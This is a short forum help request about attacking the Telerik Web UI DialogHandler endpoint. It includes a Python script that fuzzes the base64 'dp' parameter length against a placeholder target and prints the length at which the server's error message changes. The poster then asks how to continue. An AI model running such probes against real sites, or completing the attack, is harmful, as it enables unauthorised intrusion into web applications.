Key length problem

[alhosane]

In many versions, when trying to open https:// tast. tast/telerik.web.ui.dialoghandler.aspx?dp=AAAAcQ==
it displays "Length cannot be less than zero. Parameter name: length"
i make thes
import requests
import base64

url = "https://target . target/telerik.web.ui.dialoghandler.aspx"

for length in range(1, 100):
payload = "A" * length
encoded_payload = base64.b64encode(payload.encode()).decode()
params = {"dp": encoded_payload}

try:
    response = requests.get(url, params=params, timeout=5)

    if "Length cannot be less than zero" not in response.text:
        full_url = f"{url}?dp={encoded_payload}"
        print(f"[+] Length {length} changed the message!")
        print(f"URL: {full_url}\n")
    else:
        print(f"[-] Length {length} - No change")

except requests.RequestException as e:
    print(f"[!] Error at length {length}: {e}")

The result is that the target reacts at
[-] Length 30 - No change
[+] Length 31 changed the message!
URL: https://target . target/telerik.web.ui.dialoghandler.aspx?dp=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==
So how to solve this problem